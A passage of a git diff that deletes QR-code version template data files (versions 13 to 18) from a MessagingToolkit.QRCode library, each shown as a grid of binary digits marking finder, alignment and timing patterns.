-00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000 -00110110000000000000000000000000000000000000000000000000000000000 -10010000000000000000000000000000000000000000000000000000000000000 -01101010000000000000000000000011111000000000000000000000111110000 -00000000100000000000000000000010001000000000000000000000100010000 -11111110000000000000000000000010101000000000000000000000101010000 -10000010000000000000000000000010001000000000000000000000100010000 -10111010000000000000000000000011111000000000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr13.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr13.dat deleted file mode 100644 index 16a111f..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr13.dat +++ /dev/null @@ -1,69 +0,0 @@ -111111100000000000000000000000000000000000000000000000000011101111111 -100000100000000000000000000000000000000000000000000000000000001000001 -101110100000000000000000000000000000000000000000000000000010001011101 -101110100000000000000000000000000000000000000000000000000000101011101 -101110100000000000000000000000001111100000000000000000000010101011101 -100000100000000000000000000000001000100000000000000000000010001000001 -111111101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000000000001000100000000000000000000000000000000 -000000100000000000000000000000001111100000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000000000001111100000000000000000000000111110000 -000010001000000000000000000000001000100000000000000000000000100010000 -000010101000000000000000000000001010100000000000000000000000101010000 -000010001000000000000000000000001000100000000000000000000000100010000 -000011111000000000000000000000001111100000000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000 -101011100000000000000000000000000000000000000000000000000000000000000 -100000000000000000000000000000000000000000000000000000000000000000000 -100110100000000000000000000000001111100000000000000000000000111110000 -000000001000000000000000000000001000100000000000000000000000100010000 -111111100000000000000000000000001010100000000000000000000000101010000 -100000100000000000000000000000001000100000000000000000000000100010000 -101110100000000000000000000000001111100000000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr14.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr14.dat deleted file mode 100644 index 8b15012..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr14.dat +++ /dev/null @@ -1,73 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000010101111111 -1000001000000000000000000000000000000000000000000000000000000010001000001 -1011101000000000000000000000000000000000000000000000000000000000001011101 -1011101000000000000000000000000000000000000000000000000000000011001011101 -1011101000000000000000001111100000000000000011111000000000000001101011101 -1000001000000000000000001000100000000000000010001000000000000010001000001 -1111111010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000001000100000000000000010001000000000000000000000000 -0000001000000000000000001111100000000000000011111000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000001111100000000000000011111000000000000000111110000 -0000100010000000000000001000100000000000000010001000000000000000100010000 -0000101010000000000000001010100000000000000010101000000000000000101010000 -0000100010000000000000001000100000000000000010001000000000000000100010000 -0000111110000000000000001111100000000000000011111000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000001111100000000000000011111000000000000000111110000 -0000100010000000000000001000100000000000000010001000000000000000100010000 -0000101010000000000000001010100000000000000010101000000000000000101010000 -0000100010000000000000001000100000000000000010001000000000000000100010000 -0000111110000000000000001111100000000000000011111000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000 -1101011000000000000000000000000000000000000000000000000000000000000000000 -0001100000000000000000000000000000000000000000000000000000000000000000000 -1000101000000000000000001111100000000000000011111000000000000000111110000 -0000000010000000000000001000100000000000000010001000000000000000100010000 -1111111000000000000000001010100000000000000010101000000000000000101010000 -1000001000000000000000001000100000000000000010001000000000000000100010000 -1011101000000000000000001111100000000000000011111000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr15.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr15.dat deleted file mode 100644 index ab8232d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr15.dat +++ /dev/null @@ -1,77 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000001111111 -10000010000000000000000000000000000000000000000000000000000000000010101000001 -10111010000000000000000000000000000000000000000000000000000000000000101011101 -10111010000000000000000000000000000000000000000000000000000000000000101011101 -10111010000000000000000011111000000000000000001111100000000000000011101011101 -10000010000000000000000010001000000000000000001000100000000000000010001000001 -11111110101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000010001000000000000000001000100000000000000000000000000 -00000010000000000000000011111000000000000000001111100000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000001111100000000000000000111110000 -00001000100000000000000010001000000000000000001000100000000000000000100010000 -00001010100000000000000010101000000000000000001010100000000000000000101010000 -00001000100000000000000010001000000000000000001000100000000000000000100010000 -00001111100000000000000011111000000000000000001111100000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000011111000000000000000001111100000000000000000111110000 -00001000100000000000000010001000000000000000001000100000000000000000100010000 -00001010100000000000000010101000000000000000001010100000000000000000101010000 -00001000100000000000000010001000000000000000001000100000000000000000100010000 -00001111100000000000000011111000000000000000001111100000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000 -01001110000000000000000000000000000000000000000000000000000000000000000000000 -00001000000000000000000000000000000000000000000000000000000000000000000000000 -01111010000000000000000011111000000000000000001111100000000000000000111110000 -00000000100000000000000010001000000000000000001000100000000000000000100010000 -11111110000000000000000010101000000000000000001010100000000000000000101010000 -10000010000000000000000010001000000000000000001000100000000000000000100010000 -10111010000000000000000011111000000000000000001111100000000000000000111110000 -10111010000000000000000000000000000000000000000000000000000000000000000000000 -10111010000000000000000000000000000000000000000000000000000000000000000000000 -10000010000000000000000000000000000000000000000000000000000000000000000000000 -11111110000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr16.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr16.dat deleted file mode 100644 index 04edd07..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr16.dat +++ /dev/null @@ -1,81 +0,0 @@ -111111100000000000000000000000000000000000000000000000000000000000000000001111111 -100000100000000000000000000000000000000000000000000000000000000000000011101000001 -101110100000000000000000000000000000000000000000000000000000000000000010101011101 -101110100000000000000000000000000000000000000000000000000000000000000010101011101 -101110100000000000000000111110000000000000000000111110000000000000000000001011101 -100000100000000000000000100010000000000000000000100010000000000000000001001000001 -111111101010101010101010101010101010101010101010101010101010101010101010101111111 -000000000000000000000000100010000000000000000000100010000000000000000000000000000 -000000100000000000000000111110000000000000000000111110000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000 -000010101000000000000000101010000000000000000000101010000000000000000000101010000 -000010001000000000000000100010000000000000000000100010000000000000000000100010000 -000011111000000000000000111110000000000000000000111110000000000000000000111110000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -000000100000000000000000000000000000000000000000000000000000000000000000000000000 -000000000000000000000000000000000000000000000000000000000000000000000000000000000 -011100100000000000000000000000000000000000000000000000000000000000000000000000000 -010001000000000000000000000000000000000000000000000000000000000000000000000000000 -011100100000000000000000111110000000000000000000111110000000000000000000111110000 -000000001000000000000000100010000000000000000000100010000000000000000000100010000 -111111100000000000000000101010000000000000000000101010000000000000000000101010000 -100000100000000000000000100010000000000000000000100010000000000000000000100010000 -101110100000000000000000111110000000000000000000111110000000000000000000111110000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000 -101110100000000000000000000000000000000000000000000000000000000000000000000000000 -100000100000000000000000000000000000000000000000000000000000000000000000000000000 -111111100000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr17.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr17.dat deleted file mode 100644 index 41d0011..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr17.dat +++ /dev/null @@ -1,85 +0,0 @@ -1111111000000000000000000000000000000000000000000000000000000000000000000010101111111 -1000001000000000000000000000000000000000000000000000000000000000000000000011001000001 -1011101000000000000000000000000000000000000000000000000000000000000000000010001011101 -1011101000000000000000000000000000000000000000000000000000000000000000000001001011101 -1011101000000000000000000000111110000000000000000000111110000000000000000010001011101 -1000001000000000000000000000100010000000000000000000100010000000000000000001001000001 -1111111010101010101010101010101010101010101010101010101010101010101010101010101111111 -0000000000000000000000000000100010000000000000000000100010000000000000000000000000000 -0000001000000000000000000000111110000000000000000000111110000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000101010000000000000000000101010000000000000000000101010000000000000000000101010000 -0000100010000000000000000000100010000000000000000000100010000000000000000000100010000 -0000111110000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -0000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -1110101000000000000000000000000000000000000000000000000000000000000000000000000000000 -0101010000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000111110000000000000000000111110000000000000000000111110000 -0000000010000000000000000000100010000000000000000000100010000000000000000000100010000 -1111111000000000000000000000101010000000000000000000101010000000000000000000101010000 -1000001000000000000000000000100010000000000000000000100010000000000000000000100010000 -1011101000000000000000000000111110000000000000000000111110000000000000000000111110000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000 -1011101000000000000000000000000000000000000000000000000000000000000000000000000000000 -1000001000000000000000000000000000000000000000000000000000000000000000000000000000000 -1111111000000000000000000000000000000000000000000000000000000000000000000000000000000 diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr18.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr18.dat deleted file mode 100644 index d5e513e..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrvfr18.dat +++ /dev/null @@ -1,89 +0,0 @@ -11111110000000000000000000000000000000000000000000000000000000000000000000000011101111111 -10000010000000000000000000000000000000000000000000000000000000000000000000000001001000001 -10111010000000000000000000000000000000000000000000000000000000000000000000000000001011101 -10111010000000000000000000000000000000000000000000000000000000000000000000000010101011101 -10111010000000000000000000001111100000000000000000000011111000000000000000000001001011101 -10000010000000000000000000001000100000000000000000000010001000000000000000000001001000001 -11111110101010101010101010101010101010101010101010101010101010101010101010101010101111111 -00000000000000000000000000001000100000000000000000000010001000000000000000000000000000000 -00000010000000000000000000001111100000000000000000000011111000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00001111100000000000000000001111100000000000000000000011111000000000000000000000111110000 -00001000100000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001010100000000000000000001010100000000000000000000010101000000000000000000000101010000 -00001000100000000000000000001000100000000000000000000010001000000000000000000000100010000 -00001111100000000000000000001111100000000000000000000011111000000000000000000000111110000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000010000000000000000000000000000000000000000000000000000000000000000000000000000000000 -00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 